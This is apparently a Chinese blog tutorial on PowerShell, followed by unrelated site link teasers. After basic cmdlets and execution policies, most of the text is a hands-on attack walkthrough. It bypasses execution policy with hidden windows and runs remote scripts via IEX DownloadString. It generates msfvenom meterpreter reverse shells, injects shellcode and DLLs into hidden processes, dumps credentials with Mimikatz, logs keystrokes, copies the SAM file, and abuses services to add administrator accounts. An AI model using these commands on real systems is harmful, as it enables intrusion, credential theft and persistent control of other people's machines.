Windows powershell是一种命令行外壳程序和脚本环境,它内置在win7以上版本的操作系统中,使命令行用户和脚本编写者可以利用.NET Framework的强大功能。powershell程序可以直接在内存中运行,可以作为命令提示符cmd.exe的扩充。
查看powershell版本信息
Get-Host 或者 $PSVersionTable.PSVersion
基本概念
1. .ps1文件
一个powershell 脚本其实就是一个包含了多个powershell命令的简单的文本文件,每个命令显示为独立的一行。
2.执行策略
为防止恶意脚本的运行,powershell 有一个执行策略,默认情况下该执行策略被设置为受限。
在powershell 脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行策略。
Get-ExecutionPolicy
Restricted: 脚本不能运行(默认设置)
RemoteSigned: 本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字签名的除外)
AllSigned: 仅当脚本由受信任的发布者签名时才能运行
Unrestricted: 允许所有的script脚本运行
通过以下cmdlet可以设置Powershell的执行策略
Set-ExecutionPolicy <policy nmae>
3.运行脚本
C:\test\1.ps1
.\2.ps1
4.管道
前一个命令的输出作为后一个命令的输入
假设需要停止目前所有以“p”开头的程序
get-process p* | stop-process
一、基本命令
以文件操作为例
1.新建目录
New-Item whitecellclub-ItemType Directory
2.新建文件
New-Item light.txt-ItemType File
3.删除目录
Remove-Item whitecellclub
4.显示文件内容
Get-Content test.txt
5.设置文本内容
Set-Content test.txt-Value"Hello World!"
6.追加内容
Add-Content light.txt-Value"i love you"
7.清除内容
Clear-Content test.txt
二、执行策略
获取执行策略
Get-ExecutionPolicy
策略分以下几种:
Restricted: 脚本不能执行(默认)
RemoteSigned: 本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。
AllSigned: 仅当脚本由受信任的发布者签名时才能运行。
Unrestricted: 允许所有的script运行
可以使用如下命令格式设置PowerShell的执行策略
Set-ExecutionPolicy <Policy name>
命令行下输入powershell进入powershell命令行,输入help查看帮助信息。
三、绕过策略来执行脚本
如果要运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted,所以,在渗透时,需要采用一些方法绕过策略来执行脚本
1.绕过本地权限执行
上传xxx.ps1到目标服务器,在CMD环境下,在目标服务器本地执行该脚本
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
2.本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File xxx.ps1
3.用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Nonl IEX (New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
以上命令的参数说明:
ExecutionPolicy Bypass : 绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
WindowStyle Hidden : 隐藏窗口
NoLogo : 启动不显示版权标志的PowerShell
NonInteractive (-Nonl) : 非交互模式,Po
werShell不为用户提供交互的提示
NoProfile (-Nop): PowerShell控制台不加载当前用户的配置文件
Noexit : 执行后不退出Shell。这在使用键盘记录等脚本时非常重要。
PowerShell脚本在默认情况下无法直接运行,这时就可以使用上述三种方法绕过安全策略,运行PowerShell脚本。
PowerSploit
- 安装
在浏览器输入 192.168.190.133:8080 即可看到PowerSploit各模块
- 各模块功能
- AntivirusBypass #发现杀毒软件的查杀特征
- CodeExecution #在目标主机上执行代码
- Exfiltration #目标主机上的信息收集工具
- Mayhem #蓝屏等破坏工具
- Persistence #后门脚本(持久性控制)
- Recon #以目标主机为跳板,进行内网信息侦查
- ScriptModification #在目标主机上创建或修改脚本
PowerSploit脚本攻击实战
Invoke-Shellcode – 常用于将ShellCode插入指定的进程ID或本地PowerShell中
(1). Invoke-Shellcode
1.启用后门模块exploit/multi/handler,并选择payload
windows/meterpreter/reverse_tcp
2.生成一个PowerShell脚本木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.190.133 lport=1521 -f powershell -o /root/test
3.在目标机器上下载脚本
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
# 查找指定文件
Get-ChildItem C:\Windows\system32\ -Include "Invoke-Shellcode.ps1" -recurse
-Include:指定文件的扩展名 如果查找所有的txt,命令中输入“*.txt”
-recurse:设定查询方式
4.下载木马
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/test")
5.执行木马
Invoke-Shellcode -Shellcode ($buf) -Force
成功获得session
(2)注入进程
下载脚本以及木马
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/test")
- 查看当前进程
Get-Process 或 ps
- 创建一个名为notepad的新进程,并设置为隐藏
- 要记住我们的进程号,可以看到我这里记事本的进程为3516
Start-Process C:\Windows\system32\notepad.exe -WindowStyle Hidden
- 使用Invoke-Shellcode脚本注入
Invoke-Shellcode -ProcessID 3516 -Shellcode($buf) -Force
反弹成功!
(3).dll注入
Invoke-DLLInjection – DLL注入脚本
1.首先下载脚本
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")
2.生成payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.190.133 lport=1521 -f dll -o /root/test.dll
3.下载dll文件
# dll 无法通过这种方式进行下载
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/test.dll")
我们通过web将dll 传输到目标主机
3.注入到现有的进程中
Invoke-DllInjection -ProcessID 2312 -Dll .\test.dll
(4)Invoke-Portscan – 端口扫描
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/Recon/Invoke-Portscan.ps1")
用法:
Invoke-Portscan -Hosts 192.168.190.133,192.168.190.140 -Ports "80,22,3389"
(5)Invoke-Mimikatz – 获取Hash
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -DumpCreds
(6)Get-Keystrokes – 记录键盘
下载ps1:
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/Exfiltration/Get-Keystrokes.ps1")
使用方法:
Get-Keystrokes -LogPath + <保存位置>
(7):Invoke-NinjaCopy-万能复制
可以用来复制一些系统无法复制的文件,如SAM文件。
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/Exfiltration/Invoke-NinjaCopy.ps1")
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "C:\Users\Administrator\Desktop\SAM"
PowerUp攻击模块
是Privesc模块下的脚本,拥有众多用来寻找目标主机windows服务漏洞进行提权的使用脚本
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/Privesc/PowerUp.ps1")
1.加载脚本
Import-Module .\PowerUp.ps1
2.常用模块
Invoke-AllChecks #自动执行PowerUp下所有的脚本来检查目标主机
命令:Invoke-AllChecks
由于输出内容较多,可以将结果导出分析
Find-PathDllHijack #检查当前%PATH%的哪些目录是用户可以写入的
命令:Find-PathDllHijack
Get-ApplicationHost #利用系统上的application.config文件恢复加密过的应用池和虚拟目录的密码
命令:Get-ApplicationHost
Get-Application | Format-Table –Autosize #列表显示
Get-RegistryAlwaysInstallElevated #检测AlwaysInstallElevated注册表是否被设置,如果被设置,意味着MSI文件是以SYSTEM权限运行的
命令:Get-RegistryAlwaysInstallElevated
Get-RegistryAutoLogon #检测windows注册表的AutoAdminLogon项有没有被设置,可查询被设置默认的用户名密码
命令:Get-RegistryAutoLogon
Get-ServiceDetail #返回某服务的信息
命令:Get-ServiceDetail –ServiceName DHCP #获取DHCP服务详细信息
Get-ServiceFilePermission #检测当前用户能够在哪些服务的目录写入相关的可执行文件(可以通过这些文件提权)
命令:Get-ServiceFilePermission
Test-ServiceDaclPermission #检测所有可用的服务,并尝试对这些打开的服务进行修改(若可修改,返回服务对象)
命令:Test-ServiceDaclPermission
Get-ServiceUnquoted #用于检查服务路径,返回包含空格但不带引号的服务路径
命令:Get-ServiceUnquoted
Get-UnattendedInstallFile #检查以下路径,查找是否存在这些文件(文件中可能包含部署凭据)
- C:\sysprep\sysprep.xml
- C:\sysprep\sysprep.inf
- C:\sysprep.inf
- C:\Windows\Panther\Unattended.xml
- C:\Windows\Panther\Unattend\Unattended.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unatten\Unattend.xml
- C:\Windows\System32\Sysprep\unattend.xml
- C:\Windows\System32\Sysprep\Panther\unattend.xml
命令:Get-UnattendedInstallFile
Get-ModifiableRegistryAutoRun #检查开机自启动的应用程序路径和注册表键值,返回当前用户可修改的程序路径
命令:Get-ModifiableRegistryAutoRun
Get-ModifiableScheduledTaskFile #返回当前用户能够修改的计划任务程序的名称和路径
命令:Get-ModifiableScheduledTaskFile
Get-Webconfig #返回当前服务器上web.config文件中的数据库连接字符串的明文
命令:Get-Webconfig
Invoke-ServiceAbuse #修改服务来添加用户到指定组,并可以通过设置- Command参数触发添加用户的自定义命令
命令:Invoke-ServiceAbuse -ServiceName VulnSVC #添加默认账号
Invoke-ServiceAbuse -ServiceName VulnSVC -UserName “..” #指定添加的域账号
Invoke-ServiceAbuse -ServiceName VulnSVC -UserName <> -Password <> -LocalGroup “Administrator” #添加指定用户,密码到指定组
Invoke-ServiceAbuse -ServiceName VulnSVC -Command “..” #自定义执行命令
Restore-ServiceBinary #恢复服务的可执行文件到原始目录
命令:Restore-ServiceBinary -ServiceName VulnSVC
Test-ServiceDaclPermission #检查某个用户是否在服务中有自由访问控制的权限,结果返回布尔类型
命令:Test-ServiceDaclPermission -ServiceName VulnSVC
Write-HijackDll #输出一个自定义命令且能够自我删除的bat文件到$env:Temp\debug.bat,并输出一个能够启动这个bat文件的DLL
Write-UserAddMSL #生成一个安装文件,运行这个安装文件后会反弹添加用户的对话框
命令:Write-UserAddMSL
Write-ServiceBinary #用于预编译C#服务的可执行文件,默认创建一个管理员账号,可以通过Command自定义命令
命令:Write-ServiceBinary –ServiceName VulnSVC #添加默认账号
Write-ServiceBinary –ServiceName VulnSVC –UserName “..” #指定添加域账号
Write-ServiceBinary –ServiceName VulnSVC –UserName <> -Password <> #指定添加用户,密码到指定组
Write-ServiceBinary –ServiceName VulnSVC –Command “..” #自定义执行命令
Install-ServiceBinary #通过Write-ServiceBinary写一个C#的服务来添加用户,基本用法与Write-ServiceBinary相同
区别是,前者生成可执行文件,后者直接安装服务
- 在PowerShell中使用curl(Invoke-WebRequest)
前言 习惯了windows的界面模式就很难转去命令行,甚至以命令行发家的git也涌现出各种界面tool.然而命令行真的会比界面快的多,如果你是一个码农. situation:接到需求分析bug,需要访 ...
- Windows 7上执行Cake 报错原因是Powershell 版本问题
在Windows 7 SP1 电脑上执行Cake的的例子 http://cakebuild.net/docs/tutorials/getting-started ,运行./Build.ps1 报下面的 ...
- <译>通过PowerShell工具跨多台服务器执行SQL脚本
有时候,当我们并没有合适的第三方工具(大部分需要付费)去管理多台数据库服务器,那么如何做最省力.省心呢?!Powershell一个强大的工具,可以很方便帮到我们处理日常的数据库维护工作 .简单的几步搞 ...
- 利用PowerShell复制SQLServer账户的所有权限
问题 对于DBA或者其他运维人员来说授权一个账户的相同权限给另一个账户是一个很普通的任务.但是随着服务器.数据库.应用.使用人员地增加就变得很枯燥乏味又耗时费力的工作.那么有什么容易的办法来实现这个任 ...
- PowerShell 数组以及XML操作
PowerShell基础 PowerShell数组操作 将字符串拆分成数据的操作 cls #原始字符串 $str = "abc,def,ghi,mon" #数据定义 #$StrAr ...
- linux下mono,powershell安装教程
1简介 简单来说pash就是bash+powershell 2官网 https://github.com/Pash-Project/Pash 3下载fedora20---lxde桌面---32位版. ...
- Windows下PowerShell监控Keepalived
一.背景 某数据库服务器为CentOS,想要监控Keepalived的VIP是否有问题,通过邮件进行报警,但这台机器不能上外网,现在只能在Windows下通过PowerShell来完成发邮件预警. 二 ...
- 使用PowerShell收集多台服务器的性能计数器
写在前面 当管理多台Windows Server服务器时(无论是DB.AD.WEB以及其他的应用服务器),当出现性能或其他问题后,参阅性能计数器都是一个非常好的维度从而推测出问题可能出现的原因 ...
- 野路子出身PowerShell 文件操作实用功能
本文出处:http://www.cnblogs.com/wy123/p/6129498.html 因工作需要,处理一批文件,本想写C#来处理的,后来想想这个是PowerShell的天职,索性就网上各种 ...
- 使用PowerShell 监控运行时间和连接情况
概念 Powershell 是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境.你可以把它看成是命令行提示符cmd.exe的扩充,不对,应当是颠覆. powershell需要.N ...
随机推荐
- MySQL索引原理及SQL优化
目录 索引(Index) 索引的原理 b+树 MySQL如何使用索引 如何优化 索引虽好,不可滥用 如何验证索引使用情况? SQL优化 explain查询执行计划 id select_type tab ...
- Lottie在手,动画我有:ios/Android/Web三端复杂帧动画解决方案
为什么需要Lottie 在相对复杂的移动端应用中,我们可能会需要使用到复杂的帧动画.例如: 刚进入APP时候可能会看到的入场小动画,带来愉悦的视觉享受 许多Icon的互动变化比较复杂多变的时候,研 ...
- 排序入门练习题3 谁考了第k名 题解
题目出处:<信息学奥赛一本通>第二章 上机练习1 题目描述 在一次考试中,每个学生的成绩都不相同,现知道了每个学生的学号和成绩,求考第k名的学生的学号和成绩. 输入格式 输入的第一行包含两 ...
- 松软科技课堂:SQL之NOTNULL约束
SQL NOT NULL 约束 NOT NULL 约束强制列不接受 NULL 值. NOT NULL 约束强制字段始终包含值.这意味着,如果不向字段添加值,就无法插入新记录或者更新记录. 下面的 SQ ...
- CabloyJS带你轻松走进NodeJS全栈开发-免费课程 作者亲授
课程说明 B站直播 为回馈新老同学对开源框架CabloyJS的支持与厚爱,快速而轻松的开启NodeJS全栈开发之旅.2019年9月5日至9月11日在B站开启了一波免费直播培训课程 课程信息,请点击链接 ...
- Hadoop 之 分布式缓存的原理和方法——DistributedCache
1.什么时Hadoop的分布式缓存 答:在执行MapReduce时,可能Mapper之间需要共享一些信息,如果信息量不大,可以将其从HDFS中加载到内存中,这就是Hadoop分布式缓存机制. 2.如何 ...
- nginx重启失败,无法关闭nginx占用端口
nginx配置修改后,需要重启nginx,出现上图中的异常. 找不见无法正常nginx的原因,所以只能强制关闭所有端口,再重启nginx 运行命令:fuser -k 80/tcp
- JavaScript之基本概念(一)
在我们学习一门编程语言之前,我们应该先了解它的一些基本概念,包括它是什么,它能用来干什么,怎么用等等.这部分内容建议学习时间一天. 一 何为‘JavaScript’ 1 . 什么是JavaScr ...
- 【Jsp】利用iframe实现action不跳转
<form role="form" target="id_frame" action="dk" method="post&q ...
- 理解JavaScript中的this关键字
JavaScript中this关键字理解 在爬虫的过程中遇到了前端的js代码,对于this关键字理解的不是很清楚,所以写下这篇笔记,不足之处,希望得以改之. this的指向在函数定义的时候无法确定,只 ...